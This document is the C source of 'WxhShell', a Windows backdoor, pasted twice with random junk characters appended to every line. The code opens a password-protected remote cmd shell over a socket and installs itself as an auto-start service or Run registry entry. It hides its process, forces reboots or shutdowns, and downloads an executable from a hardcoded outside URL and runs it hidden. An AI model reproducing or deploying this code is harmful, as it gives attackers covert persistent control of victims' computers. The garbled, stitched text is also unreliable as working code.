    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q`)iy/1M  
    if(Boot(SHUTDOWN)) y}*J_7-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EGw;IFj)  
    else { y{g"w  
    closesocket(wsh); YwU[kr-i  
    ExitThread(0); S>;+zVF]  
    } xtFGj,N  
    break; o XFo  
    } G/N1[)  
  // 获取shell =OamN7V=  
  case 's': { t->I# t7  
    CmdShell(wsh); wB+X@AA  
    closesocket(wsh); n%K^G4k^  
    ExitThread(0); l>*L Am5  
    break; 1{-yF :A  
  } "L&84^lmf  
  // 退出 oYAHyCkVq  
  case 'x': { 5*\]F}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Px?zih!6  
    CloseIt(wsh); d=eIsP'h  
    break; Y+nk:9  
    } RMs+pN<5  
  // 离开 i)q8p  
  case 'q': { ApTE:Fm1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,B1~6y\b  
    closesocket(wsh); o0 |T<_  
    WSACleanup(); zGtv(gwk  
    exit(1); k"F\4M  
    break; Vb,'VN%   
        } dZ|x `bIgs  
  } Q" G;L  
  } j@.^3:  
61Wh %8-  
  // 提示信息 cvVv-L<[S`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !g4u<7  
} vLIaTr gz  
  } x5R|,bY  
6PT"9vR`)  
  return; yY_#fJj  
}   bKt4  
qF Xx/FZ  
// shell模块句柄 Slv91c&md,  
int CmdShell(SOCKET sock) :B~m^5  
{ j:7AVnt  
STARTUPINFO si; q0{_w  
ZeroMemory(&si,sizeof(si)); 5;X r0f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >e!Y63`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1#KBf[0  
PROCESS_INFORMATION ProcessInfo; @_0tq{  
char cmdline[]="cmd"; g\1|<jb3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d' l|oeS  
  return 0; R(f6uO!m  
} R$bDj >8  
O>d [;Q  
// 自身启动模式 H'}6Mw%ra  
int StartFromService(void) \V T.bUs  
{ (_=R<:  
typedef struct Mc{-2  
{ 1D1qOg"LE  
  DWORD ExitStatus; Sym}#F\s  
  DWORD PebBaseAddress; 4"veqrC  
  DWORD AffinityMask; :,V&P_  
  DWORD BasePriority; p8j*m~4B  
  ULONG UniqueProcessId; 06e dVIRr  
  ULONG InheritedFromUniqueProcessId; t==\D?Rt  
}   PROCESS_BASIC_INFORMATION; .Nk5W%7]=  
3_"tds <L  
PROCNTQSIP NtQueryInformationProcess; \_x~lRqJJ  
LfN,aW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .'NTy R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u.Tknw-X  
MlR ]+]  
  HANDLE             hProcess; :LCyxLI  
  PROCESS_BASIC_INFORMATION pbi; g(i8HU*{q  
Q/0oe())  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .DM-&P  
  if(NULL == hInst ) return 0; g3 Oro}wt6  
l{*Ko~g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =1y~Qlu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^!z(IE'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "R"{xOQl  
Z!3R  
  if (!NtQueryInformationProcess) return 0; b! r%4Ah  
TfHL'u9B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `g <0FQA  
  if(!hProcess) return 0; Q%524%f$  
z[@i=avPG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [^D>xD3B2  
rBOH9L  
  CloseHandle(hProcess); MRg Ozg  
eAStpG"*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7$x%A&]  
if(hProcess==NULL) return 0; USaa#s4'  
hM[3l1o{|  
HMODULE hMod; r&IDTS#  
char procName[255]; 4o"?QV:  
unsigned long cbNeeded; t+K1ArQc  
_%Yi ^^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5A<}*T  
qHT73_R  
  CloseHandle(hProcess); ;WAa4r>  
E M`'=<)V  
if(strstr(procName,"services")) return 1; // 以服务启动 s6r(\L_Im  
||ugb6q[6B  
  return 0; // 注册表启动 c,O;B_}M]  
} x6*y$D^B  
,SNt*t1"  
// 主模块 1;'-$K`}  
int StartWxhshell(LPSTR lpCmdLine) G"tlJ7$myQ  
{ 6nR EuT'k  
  SOCKET wsl; j dz IU  
BOOL val=TRUE; Q*M(d\Vs  
  int port=0; i+pQ 7wx  
  struct sockaddr_in door; {> 8?6m-  
aGfp"NtL  
  if(wscfg.ws_autoins) Install(); >2= Y 35j  
B?yj U[/R  
port=atoi(lpCmdLine); zG8g}FrzG;  
Go^TTL   
if(port<=0) port=wscfg.ws_port; |)C *i  
~I9o *cq  
  WSADATA data; m OE!`fd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T\(k=0R M  
qS"#jxc==+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %n GjP^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8e^uKYR<  
  door.sin_family = AF_INET; 1e7I2g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GNEPb?+T  
  door.sin_port = htons(port); WUo\jm[yr  
bM5o-U#^ C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;<thEWH;Y  
closesocket(wsl); 17,mqXX>  
return 1; t1"#L_<e  
} RgL>0s  
{qbe ye!  
  if(listen(wsl,2) == INVALID_SOCKET) { $45.*>,  
closesocket(wsl); zx,9x*g  
return 1; eG8 l^[  
} :=TIq  
  Wxhshell(wsl); U*E)y7MY  
  WSACleanup(); ,G5[?H;ZN  
-ucgET`  
return 0; nxx/26{  
QxGcRlpLK  
} al-rgh  
YYPJ (o\  
// 以NT服务方式启动 x#N_h0[i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %+Y wzL{  
{ y+w,j]  
DWORD   status = 0; K1BBCe  
  DWORD   specificError = 0xfffffff; "}`)s_rt  
qk3|fW/-  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  o kA<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vJ=Q{_D=\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S*|/txE'~Y  
  serviceStatus.dwWin32ExitCode     = 0; 1JfZstT  
  serviceStatus.dwServiceSpecificExitCode = 0; /*k_`3L  
  serviceStatus.dwCheckPoint       = 0; 3 V>$H\H  
  serviceStatus.dwWaitHint       = 0; `]XI Q\ *  
4oueLT(zc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X!/Sk1  
  if (hServiceStatusHandle==0) return; m 8b,_1  
: ?BK A0E  
status = GetLastError(); 6 h,!;`8O  
  if (status!=NO_ERROR) M}#DX=NZc  
{ MuQ)F-GSUu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dXQC}JA  
    serviceStatus.dwCheckPoint       = 0; Iia.`"S  
    serviceStatus.dwWaitHint       = 0; %Q0R] Hg  
    serviceStatus.dwWin32ExitCode     = status; :S_]!'H  
    serviceStatus.dwServiceSpecificExitCode = specificError; dzPewOre*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J-,ocO  
    return; AH5;6Q  
  } c>{QTI:]  
u;-fG9xs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0V(}Zj>  
  serviceStatus.dwCheckPoint       = 0; ZIc.MNq  
  serviceStatus.dwWaitHint       = 0; PWiUW{7z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G%t>Ll``C  
} 4}v|^_x-i  
X_hDU~5{wC  
// 处理NT服务事件,比如:启动、停止 0FI |7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -[ gT}{k!  
{ 4,c6VCw3+  
switch(fdwControl) U|%}B(  
{ #IM.7`I   
case SERVICE_CONTROL_STOP: U].]K   
  serviceStatus.dwWin32ExitCode = 0; `>)Ge](oN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *Z_4bR4Q  
  serviceStatus.dwCheckPoint   = 0; w"s@q$}]8M  
  serviceStatus.dwWaitHint     = 0; SnmUh~`L~  
  { #xw*;hW<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5HV+7zU5  
  } cS9jGD92  
  return; 0O>ClE~P  
case SERVICE_CONTROL_PAUSE: 9"]#.A^Q*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uoI7' :Nv  
  break; U\tx{CsSz  
case SERVICE_CONTROL_CONTINUE: R~k`KuY@!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %NxQb'  
  break; ~s'tr&+  
case SERVICE_CONTROL_INTERROGATE: nwUz}em?O  
  break; -m%`Di!E  
}; u6ULk<<\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }ARA K^%  
} Wq1 jTIQ  
KZw~Ch}b9  
// 标准应用程序主函数 Jq'8"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P8,Ps+  
{ XH$r(@Z\7  
UgC65O2  
// 获取操作系统版本 i#`q<+/q  
OsIsNt=GetOsVer(); -PE_qZ^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j,+]tHC-  
Q7$o&N{  
  // 从命令行安装 V^5d5Ao  
  if(strpbrk(lpCmdLine,"iI")) Install(); !{t|z=Qg  
'% QCNO/  
  // 下载执行文件 !ka* rd  
if(wscfg.ws_downexe) { $ItjVc@U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F#sm^%_2  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5dj@N3ZX7;  
} 5FoZ$I  
bItcF$#!!!  
if(!OsIsNt) { pi?MAE*f  
// 如果时win9x,隐藏进程并且设置为注册表启动 TQF+aP8[L  
HideProc(); %'=*utOxy  
StartWxhshell(lpCmdLine); rR> X<  
} + O.-o/  
else ,|({[ 9jA  
  if(StartFromService()) @i1e0;\  
  // 以服务方式启动 3S:Lce'f  
  StartServiceCtrlDispatcher(DispatchTable); TmQIpeych  
else ##7y|AwK  
  // 普通方式启动 6:7[>|okQ  
  StartWxhshell(lpCmdLine); 3 !@  
_F;v3|`D@<  
return 0; k2U*dn"9U  
} l<`>  
\!-BR0+y;  
$')C&  
$oK&k}Q  
=========================================== 50^ux:Uv+N  
^Co$X+  
6}"c4 ^k6  
hzqJ!  
faDSyBLo  
 x]+PWk  
" l#'V SFm&  
6l]X{A.  
#include <stdio.h> 'r?ULft1  
#include <string.h> cuhp4!!  
#include <windows.h> Hc)z:x;Sj  
#include <winsock2.h> c{1;x)L  
#include <winsvc.h> 2?JV "O=  
#include <urlmon.h> 5X)8Nwbc  
&|/_"*uM  
#pragma comment (lib, "Ws2_32.lib") ZSC*{dD$E  
#pragma comment (lib, "urlmon.lib") 1@F-t94I  
D0D=;k   
#define MAX_USER   100 // 最大客户端连接数 gxv^=;2C  
#define BUF_SOCK   200 // sock buffer ->sxz/L  
#define KEY_BUFF   255 // 输入 buffer 8QrpNSj4  
3 jZMXEG)  
#define REBOOT     0   // 重启 G,u=ngZ]  
#define SHUTDOWN   1   // 关机 )U@9dV7u  
qO#3{kW  
#define DEF_PORT   5000 // 监听端口 i5VZ,E^E  
=@HS  
#define REG_LEN     16   // 注册表键长度 Hr|f(9xA  
#define SVC_LEN     80   // NT服务名长度 ;M:AcQZ|_  
sdFHr4  
// 从dll定义API KGz Nj%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C= ~c`V5>r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IiU> VLa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AUnfhk@$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (Xd8'-G$m  
Eb8pM>'qM  
// wxhshell配置信息 m=dNJF  
struct WSCFG { )4yP(6|lx  
  int ws_port;         // 监听端口 Pe`(9&iT.  
  char ws_passstr[REG_LEN]; // 口令 (8d uV  
  int ws_autoins;       // 安装标记, 1=yes 0=no IPQRdBQ  
  char ws_regname[REG_LEN]; // 注册表键名 hbw(o  
  char ws_svcname[REG_LEN]; // 服务名 6d-\+ t8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VmS_(bM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l5[5Y6c>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )l3Uf&v^f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cS ~OxAS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <DF3!r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @) Qgy}*5  
`2lS@  
}; Y t(D  
B `(jTL  
// default Wxhshell configuration $%bSRvA  
struct WSCFG wscfg={DEF_PORT, HI.*xkBXl&  
    "xuhuanlingzhe", v=U<exM6%  
    1, ij" ~]I  
    "Wxhshell", zF1!a  
    "Wxhshell", O)'CU1vMb  
            "WxhShell Service", "#Rh\DQ  
    "Wrsky Windows CmdShell Service", m'o dVZ7  
    "Please Input Your Password: ", c_J9CKqc  
  1, '6so(>|  
  "http://www.wrsky.com/wxhshell.exe", z0z@LA4k6@  
  "Wxhshell.exe" &>sbsx\y  
    }; kSAVFzUS  
NR4+&d  
// 消息定义模块 0SQ!lr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AO#9XDEM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bi<<z-q`wJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; djd/QAfSC  
char *msg_ws_ext="\n\rExit."; 9vI~vl l  
char *msg_ws_end="\n\rQuit."; -ng1RA>  
char *msg_ws_boot="\n\rReboot..."; E~!$&9\  
char *msg_ws_poff="\n\rShutdown..."; Aoe\\'O|V  
char *msg_ws_down="\n\rSave to "; =[B\50]  
m,.Y:2?*V  
char *msg_ws_err="\n\rErr!"; Y;i=c6  
char *msg_ws_ok="\n\rOK!"; [+ud7l  
I^NDJdxd  
char ExeFile[MAX_PATH]; DT-VxF6h  
int nUser = 0; 6^`iuC5  
HANDLE handles[MAX_USER]; H 4<"+7  
int OsIsNt; zakhJ  
HD j6E"  
SERVICE_STATUS       serviceStatus; D,#UJPyg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RvzZg %)  
AwM`[`ReE  
// 函数声明 rH@Rh}#yp  
int Install(void); a4Q@sn;]  
int Uninstall(void); /%@;t@BK4  
int DownloadFile(char *sURL, SOCKET wsh); Qqm?%7A1  
int Boot(int flag); 5EYGA\  
void HideProc(void); V_7\VKR  
int GetOsVer(void); c_8&4  
int Wxhshell(SOCKET wsl); I}C2;[aB  
void TalkWithClient(void *cs); .j}]J:{%  
int CmdShell(SOCKET sock); K_i|cYGV  
int StartFromService(void); %>KbaM1b  
int StartWxhshell(LPSTR lpCmdLine); >0^<<=m  
">V1II 7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MN?aPpr>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >pq~ &)^u  
qO6M5g:   
// 数据结构和表定义 05d0p|},  
SERVICE_TABLE_ENTRY DispatchTable[] = $xO8?  
{ U1\7Hcs$  
{wscfg.ws_svcname, NTServiceMain}, -Vn#Ab_C  
{NULL, NULL} !%>RHh[  
}; =p5DT  
DbGS]k<$  
// 自我安装 c^}y9% 4c  
int Install(void) *X0>Ru[  
{ BJ|l  
  char svExeFile[MAX_PATH]; #p}GWS)  
  HKEY key; ,#Z%0NLe  
  strcpy(svExeFile,ExeFile); +B*]RL[th  
(W}F\P  
// 如果是win9x系统,修改注册表设为自启动 bzr2Zj{4  
if(!OsIsNt) { :ld~9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3^8Cc(bk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b RAD_  
  RegCloseKey(key); CG1MT(V7?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1wFu3fh@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C;W@OS-;  
  RegCloseKey(key); ale'-V)5  
  return 0; *5)UIRd  
    } .psb# 4  
  } /U;j-m&   
} ucN' zq  
else { >wW{ $  
VLXA6+  
// 如果是NT以上系统,安装为系统服务 56;u 7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D$l!lRu8+L  
if (schSCManager!=0) K43%9=sM  
{ 4=Th<,<  
  SC_HANDLE schService = CreateService eHr0],  
  ( ng}C$d . I  
  schSCManager, ,rMf;/[  
  wscfg.ws_svcname, JL M Xkcc  
  wscfg.ws_svcdisp, E'x"EN  
  SERVICE_ALL_ACCESS, BUXE s0]Lv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SBxpJsW >  
  SERVICE_AUTO_START, ?+zFa2J  
  SERVICE_ERROR_NORMAL, 'K7\[if{  
  svExeFile, &gCGc?/R#  
  NULL, #`iEbiSq  
  NULL, qPDNDkjDD  
  NULL, =u2 z3$  
  NULL, 6 f*:;  
  NULL p%DU1+SA  
  ); -06G.;W\^  
  if (schService!=0) m.D8@[y  
  { ?I+{S  
  CloseServiceHandle(schService); a>47k{RSzE  
  CloseServiceHandle(schSCManager); h*Fv~j'p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #Z1%XCt  
  strcat(svExeFile,wscfg.ws_svcname); ,p|Q/M^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Mt.Cj;h@^[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M-@RgWvF  
  RegCloseKey(key); }m+Q(2  
  return 0; A4zI1QF  
    } '8 .JnCg  
  } riW9l6s'  
  CloseServiceHandle(schSCManager); 8?Rp2n*o  
} #B\s'j[A"  
} _d 6'f8[&  
t oGiG|L  
return 1; eha|cAq  
} x,C8):\t`B  
9J/[7TzSZ  
// 自我卸载 3dN`Q:1R9  
int Uninstall(void) }uma<b  
{ fXMY.X>f  
  HKEY key; S<7!<]F-  
C>|.0:[%  
if(!OsIsNt) { e@P(+.Ke  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  qNJc*@s  
  RegDeleteValue(key,wscfg.ws_regname); ao)';[%9s  
  RegCloseKey(key); _:[@zxT<x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C:J frg`  
  RegDeleteValue(key,wscfg.ws_regname); wN.S]  
  RegCloseKey(key); 5Npxs&Ea  
  return 0; x$q}lJv_  
  } fg LY{  
} PA'&]piPl:  
} ?z>J7 }w*=  
else { w=#'8ZuU  
$ 64up!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wQG?)aaM  
if (schSCManager!=0) uXc;!*  
{ r#OPW7mhE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h^g0|p5  
  if (schService!=0) Rq|6d M6H  
  { u)<]Pb})r  
  if(DeleteService(schService)!=0) { +j{Cfv$do  
  CloseServiceHandle(schService); +ydd"`  
  CloseServiceHandle(schSCManager); a,Pw2Gcid  
  return 0; 1 tOslP@  
  } v#x`c_  
  CloseServiceHandle(schService); _tHhS@   
  } HQ@g6  
  CloseServiceHandle(schSCManager); 0!,uo\`  
} *k7BE_&*0Z  
} bL xZ 5C7t  
-gvfz&Lz  
return 1; d3:GmB .  
} Xr  <H^X  
+%YBa'Lk  
// 从指定url下载文件 `h@fW- r  
int DownloadFile(char *sURL, SOCKET wsh) a U\|ZCH\]  
{ 6C VH)=%  
  HRESULT hr; Dnd; N/9  
char seps[]= "/"; "r46Rfa  
char *token; (ODwdN7;  
char *file; 6C2~0b   
char myURL[MAX_PATH]; 4 -.W~C'Q  
char myFILE[MAX_PATH]; estiS  
+51heuu[o  
strcpy(myURL,sURL); ~yJ2@2I  
  token=strtok(myURL,seps); 41<~_+-@  
  while(token!=NULL) &Pb:P?I  
  { XHU$&t`7>g  
    file=token; :e7\z  
  token=strtok(NULL,seps); bVzi^R"  
  } ],SQD3~9  
T)gulP  
GetCurrentDirectory(MAX_PATH,myFILE); ^Oi L&p;r  
strcat(myFILE, "\\"); rhc+tR  
strcat(myFILE, file); Uuy$F  
  send(wsh,myFILE,strlen(myFILE),0); ] :;x,$k  
send(wsh,"...",3,0); *#YZm>h   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pA*C|g  
  if(hr==S_OK) FL{?W(M  
return 0; l$/pp  
else gbuh04#~  
return 1; E<\$3G-do  
>>J3"XHX  
} cuN]}=D  
zzZ EX  
// 系统电源模块 W#bYz{s.  
int Boot(int flag) M?lh1Yu"  
{ ]$"eGHX  
  HANDLE hToken; 8)0]cX  
  TOKEN_PRIVILEGES tkp; e>z"{ u(F0  
rk8pL[|  
  if(OsIsNt) { M<Wi:r:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >IIq_6Z#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OPNRBMD  
    tkp.PrivilegeCount = 1; /i"hViCrlG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tkctwjD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dQ8RrD=$&  
if(flag==REBOOT) { [1vm~w'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w!"L\QT  
  return 0; #zl1#TC{(  
} S=k!8]/d|  
else { b11I$b #  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7z$Z=cs  
  return 0; .rK0C)  
} *|=D 0  
  } #tR:W?!  
  else { WhW}ZS'r  
if(flag==REBOOT) { D 5rH6*J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iI<c  
  return 0; zgGysjV  
} 2V@5:tf  
else { Q("m*eMRt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |<c9ZS+  
  return 0; ;JkIZ8!  
} qO"QSSbZqQ  
} H=BI%Z  
i W6O9 ~  
return 1; \>5sW8P]H`  
} futYMoV  
'mZ v5?  
// win9x进程隐藏模块 L"'=[O~  
void HideProc(void) Z)|~  
{ TAUl{??,  
"zq'nV=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7"Xy8]i{z  
  if ( hKernel != NULL ) nDvfb* \  
  { pl>b 6 |  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DoczQc-U+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {Z/iYHv~#c  
    FreeLibrary(hKernel); b*Qd9  
  } :Hq%y/  
1#x5 o2n  
return; l?)>"^  
} ) ' xyK  
2-'_Nwkl*  
// 获取操作系统版本 !U?C _  
int GetOsVer(void) J~K O#`  
{ 1vq2`lWpx  
  OSVERSIONINFO winfo; fcdXj_u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O + aK#eF  
  GetVersionEx(&winfo); j(y<oxh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8d*S9p,/  
  return 1; diNSF-wi,,  
  else h1q 3}-  
  return 0; F2zo !a8  
} 5{yg  
;}6wj@8He  
// 客户端句柄模块 )$p36dWl  
int Wxhshell(SOCKET wsl) Dl.< (/  
{ 0 @#Jz#?  
  SOCKET wsh; 2(!W 9#]  
  struct sockaddr_in client; 2`Bb9&ut>  
  DWORD myID; J <z ^C  
imADjBR]  
  while(nUser<MAX_USER) h*^JFZb  
{ <q'?[aKvR  
  int nSize=sizeof(client); :Jyr^0`J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rWWp P<  
  if(wsh==INVALID_SOCKET) return 1; 2. nT k   
\#biwX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k @fxs]Y_L  
if(handles[nUser]==0) Fdl0V:<  
  closesocket(wsh); `%|3c  
else b6;MTz*k>  
  nUser++; j(I(0Yyh  
  } +mG"m hF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L"0dB.  
I[A<e]uK  
  return 0; _H U>T  
} UHV"<9tk  
4NRj>y  
// 关闭 socket UK'8cz9  
void CloseIt(SOCKET wsh) X%I@4 B7Ts  
{ qCVb-f  
closesocket(wsh); N\s-{7K  
nUser--; yz3=#  
ExitThread(0); SIM> Lz  
} *B4OvHi)'  
F'wG%  
// 客户端请求句柄 v#9i|  
void TalkWithClient(void *cs) ~2[kCuu  
{ [#aJ- Uu  
,W 'P8C  
  SOCKET wsh=(SOCKET)cs; Q-iBK*-w  
  char pwd[SVC_LEN]; ) F -8  
  char cmd[KEY_BUFF]; 2I suBX\[  
char chr[1]; ?Z!R  
int i,j; BC#`S&R  
yz>S($u  
  while (nUser < MAX_USER) { ,y0 &E8Z  
r0f&n;0U4  
if(wscfg.ws_passstr) { ',Z]w;D!G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A]%*ye"NT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {qSMJja!t  
  //ZeroMemory(pwd,KEY_BUFF); HOPl0fY$L  
      i=0; lV./K;\T  
  while(i<SVC_LEN) { g^:`h VV  
@G>e Cj  
  // 设置超时 Dm?:j9o]g  
  fd_set FdRead; N3Q .4? z9  
  struct timeval TimeOut; !gsrPM  
  FD_ZERO(&FdRead); D{6BX-Dw.  
  FD_SET(wsh,&FdRead); @}r s6 G  
  TimeOut.tv_sec=8; `S3)uV]I  
  TimeOut.tv_usec=0; r~|7paX!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =Y^K   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S]}}r)  
bO('y@)X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .f[z_% ar  
  pwd=chr[0]; >,Zn~8&Z  
  if(chr[0]==0xd || chr[0]==0xa) { }YiFiGf,  
  pwd=0; 19[.&-u"  
  break; klc$n07  
  } C%%gCPI^y  
  i++; U.Z5;E0:  
    } A58P$#)?  
zt  
  // 如果是非法用户,关闭 socket Oku7&L1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /nh3/[u  
} PgP\v-.  
EZp >Cf7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @d0~'_vtB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6#:V3 ;  
T' Jl,)"  
while(1) { xMpgXB!'  
[1Qg *   
  ZeroMemory(cmd,KEY_BUFF); lQRtsmZ0  
cUw$F{|W  
      // 自动支持客户端 telnet标准   zlkW-rRkR  
  j=0; Fl(j,B6Z  
  while(j<KEY_BUFF) { (_N(K`4#W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $ \!OO)  
  cmd[j]=chr[0]; ! P$[$W  
  if(chr[0]==0xa || chr[0]==0xd) { 05jjLM'e  
  cmd[j]=0; J9J/3O Q=  
  break; Osy_C<O  
  } ~?iQnQYI  
  j++; puh-\Q/P  
    } yI-EF)A@;  
0hXx31JN N  
  // 下载文件 T}"[f/:N/  
  if(strstr(cmd,"http://")) { j(>xP*il  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V he$vH  
  if(DownloadFile(cmd,wsh)) <1QXZfQ"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); MlbcJo3  
  else 9.9B#?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nYBa+>3BDf  
  } Q^xk]~G$(  
  else { e)XnS'  
i{Du6j^j  
